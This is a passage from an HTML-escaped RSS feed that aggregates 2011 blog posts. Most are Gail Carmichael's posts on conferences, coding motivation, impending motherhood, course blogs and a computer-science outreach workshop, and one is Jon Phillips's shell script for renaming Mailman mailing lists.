as well, be sure to check out the relevant posts on these blogs (many of which are also &lt;a href=&quot;http://gracehopper.org/2011/community/ghc-bloggers/&quot;&gt;aggregated on the conference website&lt;/a&gt;):&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://ghcbloggers.blogspot.com/&quot;&gt;GHC Bloggers &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://bubbva.blogspot.com/search/label/GHC11&quot;&gt;Thoughts on security, beer, theatre, and biking!&lt;/a&gt; (Valerie Fenwick)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://thegeekmovement.com/blog/?cat=40&quot;&gt;The Geek Movement&lt;/a&gt; (Karen Tanenbaum)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://dynamicdoula.blogspot.com/search/label/ghc11&quot;&gt;PhDoula&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://kjtsouka.blogspot.com/search/label/ghc11&quot;&gt;Kathleen Tsoukalas &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://terriko.dreamwidth.org/tag/ghc11&quot;&gt;terriko &lt;/a&gt;(Terri Oda)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.speakhci.com/search/label/ghc11&quot;&gt;Speak HCI&lt;/a&gt; (Keita Del Valle)&amp;nbsp; &lt;/li&gt;&lt;/ul&gt;To follow posts on Twitter, search for the &lt;a href=&quot;http://twitter.com/#%21/search/realtime/ghc11&quot;&gt;#ghc11&lt;/a&gt; hash tag. &lt;br /&gt;&lt;br /&gt;To read notes taken during specific conference sessions (and find links to associated blog posts), have a look at the &lt;a href=&quot;http://community.anitaborg.org/wiki/index.php/Ghc2011&quot;&gt;official GHC wiki&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;And, finally, be sure to &lt;a href=&quot;http://www.livestream.com/fbtechtalks/video?clipId=pla_e6b1a965-8cc5-4ef9-9ac8-c2048d612e96&quot;&gt;watch the keynote video of Sheryl Sandberg (COO of Facebook)&lt;/a&gt;, already available online! (The other keynotes will find their way online eventually as well, so stay tuned to the &lt;a href=&quot;http://gracehopper.org/2011/feed/&quot;&gt;Grace Hopper&lt;/a&gt; and &lt;a href=&quot;http://anitaborg.org/news/archives/&quot;&gt;ABI&lt;/a&gt; news feeds.)&lt;br /&gt;&lt;br /&gt;Hopefully I'll see you all at GHC 2012 in Baltimore next October with baby — and with any luck, husband — along for the ride!&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-4285248677162243740?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-11-11T15:25:38+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-5624931894956473194">
	<title>Gail Carmichael: Code Blocked</title>
	<link>http://compscigail.blogspot.com/2011/11/code-blocked.html</link>
	<content:encoded>I love coding.&amp;nbsp; Once I get started, I get lost in the groove very easily.&amp;nbsp; I love thinking about the best way to organize objects and design my UI.&amp;nbsp; It feels good to find elegant ways to solve problems.&amp;nbsp; So the fact that I haven't done a lot of programming lately really frustrates me.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/danjeffrey/5346613874/&quot; title=&quot;IMG_4407 by DanBengal, on Flickr&quot;&gt;&lt;img alt=&quot;IMG_4407&quot; height=&quot;374&quot; src=&quot;http://farm6.static.flickr.com/5087/5346613874_0a8cc5fbd8.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/danjeffrey/5346613874/&quot;&gt;IMG_4407&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/danjeffrey/&quot;&gt;DanBengal&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;If I was working in industry right now, I'd be coding every day.&amp;nbsp; The nature of my current projects in grad school require a lot of preliminary non-coding work (especially reading).&amp;nbsp; But it would be wrong to blame grad school for my lack of coding.&lt;br /&gt;&lt;br /&gt;In fact, there seem to be two larger problems at play here.&amp;nbsp; First, I have a hard time wanting to do much of anything work related in the evenings.&amp;nbsp; This is partly because my husband and I value balance in our lives, like to cook real food for dinner and keep the house in good working order (easier said than done when you own a 130+ year old place in the country).&amp;nbsp; My poor eyesight and need to wear hard contacts may also play a factor, making my eyes too tired to focus on a screen all evening.&lt;br /&gt;&lt;br /&gt;But perhaps more frustrating is the second problem.&amp;nbsp; The amount of momentum I need to break the code block barrier has grown to be fairly immense.&amp;nbsp; I don't know why this is.&amp;nbsp; Once I get started I can't stop, but it seems really, really hard to make the first move.&amp;nbsp; To open Xcode or or Eclipse or Visual Studio and just start coding.&amp;nbsp; It may be related to my dislike of doing something for only a short period of time before having to put it away again (probably the same reason I still haven't finished playing the first Portal).&amp;nbsp; I'm not sure.&lt;br /&gt;&lt;br /&gt;I have more than one project that I've very nearly finished.&amp;nbsp; I could easily be tinkering away on these projects when I need a break from reading or during a quiet evening at home.&amp;nbsp; I want to break this code block and be consistently programming throughout each semester.&amp;nbsp; How?&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-5624931894956473194?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-11-08T10:42:35+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-4936336661383622491">
	<title>Gail Carmichael: Two Months Before Mommyhood</title>
	<link>http://compscigail.blogspot.com/2011/11/two-months-before-mommyhood.html</link>
	<content:encoded>It's hard to believe that our baby's due date is less than 8 weeks away.&amp;nbsp; It's even harder to believe I've written so little about it here! What with trying to get as much done as I can before going on leave after Christmas, I haven't really thought that much about the whole baby thing.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/tambako/3429124893/&quot; title=&quot;«I love you, mom!» by Tambako the Jaguar, on Flickr&quot;&gt;&lt;img alt=&quot;«I love you, mom!»&quot; height=&quot;332&quot; src=&quot;http://farm4.static.flickr.com/3589/3429124893_5b86c31ed3.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/tambako/3429124893/&quot;&gt;«I love you, mom!»&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/tambako/&quot;&gt;Tambako the Jaguar&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Nonetheless, there are still some things I've been looking forward to and others that I have been worried about.&amp;nbsp; Thought I'd share a few here.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;&lt;b&gt;Things I'm Worried About&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Will I finish everything I want to get done before I go on leave?!&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;My eyes have problems that require me to wear hard contacts (can't see any other way, even with glasses).&amp;nbsp; I worry about not being to see when I have to get up in the night for baby.&amp;nbsp; It's also potentially unfortunate that I wouldn't be able to mess around on my phone or read a magazine when I have to get up for longer periods of time (or will I be too tired to do that anyway?).&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;How long will it be before I am able to get back to doing useful things? I'd like to at least continue with reading books and papers related to my thesis after the first couple of months.&amp;nbsp; If I'm really lucky, I'd like to ramp things up a little bit in my second four months of leave (fingers crossed for a &quot;good&quot; baby!).&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;Once I'm back from leave, what is life going to be like? Am I going to be able to graduate in a reasonable amount of time, and for a reasonable amount of money as scholarships and funding start to run out?&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Things I'm Looking Forward To&amp;nbsp;&lt;/b&gt; &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Having a cute little baby to love and cuddle, obviously. ;)&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;I'm really excited to eventually make use of the really cool educational technology that's starting to come out these days.&amp;nbsp; It'll be a while, but I'm looking forward to introducing my kid to things like &lt;a href=&quot;http://www.fastcompany.com/1788024/kinect-tv-sesame-street-discovery-project-columbia&quot;&gt;Project Columbia&lt;/a&gt;, which melds Kinect and Sesame Street together.&amp;nbsp; I hope I can eventually make some of my own apps that my kid can enjoy, too.&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;I'm also already wondering at what age I can teach my kid to program with Scratch.&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;We already try to lead a pretty balanced life (sometimes I feel bad about not being as hard-core as I used to be in undergrad).&amp;nbsp; I'm looking forward to having a quality family life at home, enjoying everything from Christmas to everyday life that much more.&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-4936336661383622491?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-11-06T15:21:41+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-4700526952041474426">
	<title>Gail Carmichael: Course Blogs vs Wikis</title>
	<link>http://compscigail.blogspot.com/2011/11/course-blogs-vs-wikis.html</link>
	<content:encoded>If you're a professor or TA for a course and want to use online technology for the betterment of your students, which is superior: a course wiki or a course blog? I've been using the latter for the course I'm TA'ing this term, but think the real answer depends on exactly what you hope to get out of it.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/kevlar/1152595430/&quot; title=&quot;WIKI by kbaird, on Flickr&quot;&gt;&lt;img alt=&quot;WIKI&quot; height=&quot;375&quot; src=&quot;http://farm2.static.flickr.com/1426/1152595430_5fd0dc376b.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/kevlar/1152595430/&quot;&gt;WIKI&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/kevlar/&quot;&gt;kbaird&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;The &lt;a href=&quot;http://comp3501-fall2011.blogspot.com/&quot;&gt;blog I've been running this term&lt;/a&gt; is for the third year graphics course offered to the game development stream students.&amp;nbsp; One of the reasons I started it is that the only other ways to communicate with students would be to ask the professor to post things to his course website (which would limit me in what I could actually say), or to hope that students actually checked WebCT once in a while (computer science students don't much like WebCT).&lt;br /&gt;&lt;br /&gt;Some of the things I post about include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Updates on my progress grading various assignments and tests.&lt;/li&gt;&lt;li&gt;General summarized feedback on assignments.&lt;/li&gt;&lt;li&gt;Numbered comments for tests that I can refer to when marking so I don't have to write the same explanations over and over again on paper.&lt;/li&gt;&lt;li&gt;Detailed explanations of topics students seem to be struggling with.&lt;/li&gt;&lt;li&gt;Links to applets on fundamental topics I've made in the past that might help students.&lt;/li&gt;&lt;li&gt;Links to other resources that might be helpful. &lt;/li&gt;&lt;/ul&gt;So far the blog has been very much a one-way form of communication, even though students could be posting questions or comments on the posts if they wanted to.&amp;nbsp; It's not totally clear how many students look at the blog, but I do know that those who come see me for help use it.&lt;br /&gt; &lt;br /&gt; A course wiki would look a lot different from the blog.&amp;nbsp; For instance, instead of a stream of posts that capture what happened during a particular term chronologically, a wiki would likely end up being a more structured documentation of the course that could evolve over time.&amp;nbsp; It is more of a living document that students, TA's, and professors could contribute to.&amp;nbsp; It might even be able to combine the ideas of the traditional course webpage with some of what I put on my blog (some of the resources on my blog might be better suited to a wiki).&amp;nbsp; A wiki might be more difficult to use as a form of feedback to students in a particular term since it's not as obvious when new content is posted.&lt;br /&gt;&lt;br /&gt;So, if choosing between a wiki or a blog, I would consider whether I want to develop a resource that will evolve each time the course is taught (wiki), or if communication and feedback to students is my priority (blog).&amp;nbsp; I don't think one is superior to the other, and the ambitious might even be able to effectively offer both.&lt;br /&gt;&lt;br /&gt;Have you used either for your own course? What type of content did you include, and how successful was your approach?&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-4700526952041474426?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-11-02T14:01:07+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2500">
	<title>Jon Phillips: Moving Mailman Lists with Linux Server</title>
	<link>http://rejon.org/2011/10/moving-mailman-lists-with-linux-server/</link>
	<content:encoded>&lt;p&gt;For all the nerds out there, here is a lil script I wrote with &lt;a href=&quot;http://chris-lamb.co.uk/2007/10/02/renaming-a-mailman-list/&quot;&gt;some help&lt;/a&gt; for being able to rename lists, especially if you are having trouble with aliases generated from your setup. Mailman is simple in using just the folder path names for a list to generate aliases and more. The setup for &lt;a href=&quot;http://fabricatorz.com&quot;&gt;Fabricatorz&lt;/a&gt; is ubuntu latest with mailman and postfix. Have it with the script, and let me know if you make some changes or have problems:&lt;/p&gt;
&lt;pre&gt;
#!/bin/sh
#
# A quick way to rename mailman lists and trust me you aren't going to find
# a better way to do this on ubuntu server
#

OLD=&quot;$1&quot;
NEW=&quot;$2&quot;

echo $OLD
echo $NEW

/etc/init.d/mailman stop
test -d /var/lib/mailman/archives/private/${NEW} &amp;#038;&amp;#038; echo '*** That mailing list name already exists. ***' &amp;#038;&amp;#038; exit 1

mv /var/lib/mailman/lists/${OLD} /var/lib/mailman/lists/${NEW}
test -d /var/lib/mailman/archives/private/${OLD} &amp;#038;&amp;#038; mv /var/lib/mailman/archives/private/${OLD} /var/lib/mailman/archives/private/${NEW}
mv /var/lib/mailman/archives/private/${OLD}.mbox /var/lib/mailman/archives/private/${NEW}.mbox
test -d /var/lib/mailman/archives/private/${NEW}.mbox/${OLD}.mbox &amp;#038;&amp;#038; mv /var/lib/mailman/archives/private/${NEW}.mbox/${OLD}.mbox /var/lib/mailman/archives/private/${NEW}.mbox/${NEW}.mbox &amp;#038;&amp;#038; /var/lib/mailman/bin/arch ${NEW} /var/lib/mailman/archives/private/${NEW}.mbox/${NEW}.mbox

newaliases
/var/lib/mailman/bin/genaliases
/etc/init.d/postfix restart
/etc/init.d/mailman start
exit 0
&lt;/pre&gt;
&lt;p&gt;I&amp;#8217;m still a nerd.&lt;/p&gt;</content:encoded>
	<dc:date>2011-10-30T08:40:14+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-3692807969750575816">
	<title>Gail Carmichael: Computer Science is Everywhere! (Even Photography)</title>
	<link>http://compscigail.blogspot.com/2011/10/computer-science-is-everywhere-even.html</link>
	<content:encoded>&lt;i&gt;Last week I did a couple of workshops at the &lt;a href=&quot;http://www.sciencetech.technomuses.ca/english/index.cfm&quot;&gt;Canadian Museum of Science and Technology&lt;/a&gt; for &lt;a href=&quot;http://www.science.gc.ca/default.asp?lang=En&amp;n=70F5D90C-1&quot;&gt;National Science and Technology Week&lt;/a&gt;&lt;/i&gt;.&lt;i&gt;&amp;nbsp; I managed to improve the usual 'computer science connects to everything' theme to be more interactive, and judging by the apparent engagement of the students, it was a success.&amp;nbsp; Below is an outline of what I presented - feel free to adapt it for your own presentation (with some credit to me if you don't mind).&lt;/i&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-SiXKT9VobZ0/TqV3Nf2qAlI/AAAAAAAADSs/mV1G6ohE8zM/s1600/Slide1.PNG&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://1.bp.blogspot.com/-SiXKT9VobZ0/TqV3Nf2qAlI/AAAAAAAADSs/mV1G6ohE8zM/s320/Slide1.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;I'm here from &lt;a href=&quot;http://www.carleton.ca/&quot;&gt;Carleton University&lt;/a&gt; to tell you about one of the biggest reasons that I love computer science: it connects to everything! No matter what your interests are, or your passions, there is a problem waiting to be solved and a way to make life easier or better with computing.&amp;nbsp; Even something as creative as photography has a lot to do with computer science, as we'll see later.&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-KLL3K2DgrlE/TqV3PLIsrRI/AAAAAAAADS0/5JJuvyfV5Zc/s1600/Slide2.PNG&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://1.bp.blogspot.com/-KLL3K2DgrlE/TqV3PLIsrRI/AAAAAAAADS0/5JJuvyfV5Zc/s320/Slide2.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;My name is Gail Carmichael, and I'm a computer scientist. Of course, that's not all I am.&amp;nbsp; I'm also a PhD student (which means I've been in school for almost ten years since high school!). I do Taekwondo (anyone else into martial arts?) and like to go backpack hiking and work on my garden.&amp;nbsp; And, as you can see, I'm also going to be a mom soon!&lt;br /&gt;&lt;br /&gt;&lt;i&gt;(I always make an effort to show the students that just because you are into computers doesn't mean you can't also be into lots of other fun things as well.&amp;nbsp; This time I was also able to talk about becoming a mom, which I think it really important for both the males and females to see.&amp;nbsp; In fact, one of the boys came up to me after the workshop to wish me luck with the baby - how awesome is that??)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;I'm also part of a group at Carleton called &lt;a href=&quot;http://www.carleton.ca/wise&quot;&gt;Women in Science and Engineering&lt;/a&gt;.&amp;nbsp; In fact, I helped start this group a few years ago.&amp;nbsp; I don't know if you all know, but we &lt;i&gt;still&lt;/i&gt; have far too few women in computer science, and we want to fix that.&amp;nbsp; So, ladies in the audience, I encourage you to look into computer science as a possible career if you see anything today that interests you! (Guys, too - we want all the smart people!)&lt;br /&gt;&lt;br /&gt;Ok, so let's talk about computer science.&amp;nbsp; Anyone have any ideas of what computer science might be? Or maybe what kinds of things computer scientists do?&lt;br /&gt;&lt;br /&gt;&lt;i&gt;(You usually get answers more related to using computers, but you can also often get some good insight into what the field's really about&lt;/i&gt;.)&lt;br /&gt;&lt;br /&gt;I'll tell you exactly was computer science is about in one second.&amp;nbsp; But first, I want you to all take a minute to brainstorm as long a list as you can of areas of your life where computing is involved.&amp;nbsp; Think of the obvious, like cell phones, to the less obvious, like toasters (yup, even your toaster might have a little computer inside!).&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-WN7k8TFpbp8/TqV6nGw8NgI/AAAAAAAADT8/DmtpVXqkWzc/s1600/Slide3a.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://2.bp.blogspot.com/-WN7k8TFpbp8/TqV6nGw8NgI/AAAAAAAADT8/DmtpVXqkWzc/s320/Slide3a.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Here are some of the areas I thought of.&amp;nbsp; Some of these are more obvious, like the iPhone and video games.&amp;nbsp; What about some of the others?&lt;br /&gt;&lt;br /&gt;&lt;i&gt;(I find the students love giving more ideas on these topics or asking questions about them.&amp;nbsp; Invite interaction here as much as possible.)&lt;/i&gt; &lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Music&lt;/b&gt;: You could write software that analyzes music and automatically creates a playing list that would suit our current mood.&amp;nbsp; Or you can try to teach the computer how to create good music from scratch.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Medicine&lt;/b&gt;: You can use computers to simulate chemical reactions and help us narrow down what sorts of things might be effective in treating particular illnesses.&amp;nbsp; You can also use computers to crunch the huge amounts of data in our DNA, helping us find genetic issues in a person.&amp;nbsp; (Bet you didn't think you'd be able to save lives as a computer scientist, did you?)&lt;/li&gt;&lt;li&gt;&lt;b&gt;Video Games&lt;/b&gt;: Sometimes we want to provide good entertainment as computer scientists, and making games is one way to do this.&amp;nbsp; You can even study game development as a whole concentration in our computer science program at Carleton!&lt;/li&gt;&lt;li&gt;&lt;b&gt;Geography&lt;/b&gt;: When's the last time you used Google Maps or a GPS device? There's a lot of computer science happening there, such as when you are finding the most efficient route to your destination.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Psychology&lt;/b&gt;: If you're interested in the way people think, you can help design technology that makes sense to humans.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Math&lt;/b&gt;: Computer science can be a very mathematical way of thinking.&amp;nbsp; (But don't worry, you don't have to be a math whiz to do well in this field!)&lt;/li&gt;&lt;li&gt;&lt;b&gt;Robotics&lt;/b&gt;: We have to program robots to get around without running into things and much more.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Education&lt;/b&gt;: I want to make games that are both fun and educational.&amp;nbsp; School looks very similar to what our great-great-grandparents experienced, but I think that technology can help change that and make learning more fun and effective!&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-_N6sISR5plA/TqV3Ro0cnUI/AAAAAAAADS8/s4pA3j1FGXE/s1600/Slide3.PNG&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-_N6sISR5plA/TqV3Ro0cnUI/AAAAAAAADS8/s4pA3j1FGXE/s320/Slide3.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;In the end, computer science is really all about solving problems.&amp;nbsp; It's not about programming or software or any of that stuff on its own - these are all just means to the end of making the world better.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;(Try to relate the students' answers from earlier into the above discussion.)&lt;/i&gt; &lt;br /&gt;&lt;br /&gt;What problems are there to solve in photography? How can we improve such a creative practice with technology?&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-AnvGmjyaus4/TqV3S4PvdVI/AAAAAAAADTE/c1FLXdcGpHo/s1600/Slide4.PNG&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://2.bp.blogspot.com/-AnvGmjyaus4/TqV3S4PvdVI/AAAAAAAADTE/c1FLXdcGpHo/s320/Slide4.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Some of you might remember taking photos with film before digital cameras became standard. Film worked by having an actual chemical reaction to the light that hits it.&amp;nbsp; How do we take a picture digitally?&lt;br /&gt;&lt;br /&gt;&lt;i&gt;(If there's time, it's fun to get them guessing how we get from a scene in the world to an image on the computer&lt;/i&gt;.&lt;i&gt;)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Instead of using chemicals that react to light, we can create what's called a digital sensor that can sense what light is hitting it.&amp;nbsp; But how does this translate into what the computer can understand?&lt;br /&gt;&lt;br /&gt;Do you know how data on your computer is stored? What everything ends up being in the end? (Answer: numbers! Binary numbers in particular.) Even an image is going to end up as numbers.&amp;nbsp; So we need to translate the light hitting the sensor into numbers somehow. &lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-2Z1TCd32-KA/TqV3VmS4wGI/AAAAAAAADTM/sQuyoQyRHnA/s1600/Slide5.PNG&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://2.bp.blogspot.com/-2Z1TCd32-KA/TqV3VmS4wGI/AAAAAAAADTM/sQuyoQyRHnA/s320/Slide5.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Let's say I took this photo with my digital camera and I'm looking at it on the computer.&amp;nbsp; What happens if I zoom in really close? (Answer: it gets pixelated, blocky, blurry, etc.)&lt;br /&gt;&lt;br /&gt;Our digital sensors are made of grids of pixels as well, and each of these pixels captures the amount of light that hits it.&amp;nbsp; Then we can store this as a number for each pixel on the computer, representing the image.&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;(At this point, I use images from the &lt;a href=&quot;http://csunplugged.org/image-representation&quot;&gt;CS Unplugged Image Representation&lt;/a&gt; activity to demonstrate how this can work with black and white images, and I give them some time to try recreating the pictures on the handout on pg 4 of the PDF.&amp;nbsp; We discuss the pros and cons of the two ways of representing the image - each pixel as its own number or writing out the number of black or white pixels that come in a row - and I emphasize that we often have to consider tradeoffs when solving problems in computer science.)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;To conclude, let me say again that computer science is &lt;i&gt;everywhere&lt;/i&gt;.&amp;nbsp; In photography, there are many more problems that computer science helps solve, from organizing and searching through our photos to applying interesting effects to them.&amp;nbsp; Computing touches every part of our lives, from keeping us healthy to keeping us entertained.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;bhbadge&quot; id=&quot;bhbadge_Featured&quot;&gt;&lt;a href=&quot;http://www.blogher.com/?from=bhfbadge&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Featured on BlogHer.com&quot; border=&quot;0&quot; height=&quot;100&quot; src=&quot;http://www.blogher.com/files/edbadge_Featured.jpg&quot; title=&quot;Featured on BlogHer.com&quot; width=&quot;120&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-3692807969750575816?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-10-28T12:49:35+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-6034732665284307375">
	<title>Gail Carmichael: Help Wanted: Examples of Nonlinear Stories and Less Successful AR Projects</title>
	<link>http://compscigail.blogspot.com/2011/10/help-wanted-examples-of-nonlinear.html</link>
	<content:encoded>I'm working on two projects where I need to come up with as long a list of examples as I can.&amp;nbsp; I've got some in mind, but what better way to make sure I don't miss the important ones than to ask all of you for &lt;i&gt;your&lt;/i&gt; ideas? I hope you'll share your thoughts. Yay, crowd sourcing! :)&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/riacale/4126205359/&quot; title=&quot;Crowd Sourcing by riacale, on Flickr&quot;&gt;&lt;img alt=&quot;Crowd Sourcing&quot; height=&quot;334&quot; src=&quot;http://farm3.static.flickr.com/2790/4126205359_db05336234.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/riacale/4126205359/&quot;&gt;Crowd Sourcing&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/riacale/&quot;&gt;riacale&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Nonlinear Stories in Traditional Media&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;The first set of examples I'm working on is a list of movies and books that have nonlinear plots.&amp;nbsp; I'm not necessarily talking about interactive stories here; instead, I want to know about any story that presents itself in a non-chronological order of some kind.&amp;nbsp; For instance, the plot in Memento is shown in reverse order, and events are told by various narrators in Hero.&lt;br /&gt;&lt;br /&gt;In addition to the actual example, it would be great to hear your thoughts on how the creators have explained the use of a nonlinear plot in the context of their stories, or what technique they used to present it.&amp;nbsp; In Memento, the backwards plot fits in with the brain damage of the main character, and in Hero the technique is the use of different framing devices (in this case, an unreliable narrator).&lt;br /&gt;&lt;br /&gt;This list is going to be used in thinking about nonlinear narrative in games.&amp;nbsp; I will let you know more closer to the end of the term.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;Less Successful Augmented Reality Projects&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;Do you know of an augmented reality project from academia or industry that seemed really good but never really caught on to be a big success? Or a project that wasn't actually very good in the first place? This includes projects that have been important in terms of the technology they have moved forward, but that didn't seem to have a lasting use to real people, as well as commercial flops.&lt;br /&gt;&lt;br /&gt;I'm going to be using these examples in a discussion of how less successful augmented reality projects could be improved.&amp;nbsp; It's related to my work on using cognitive theories to uncover the value of AR.&amp;nbsp; The current version of our paper is probably going to a journal or magazine, and I am very much 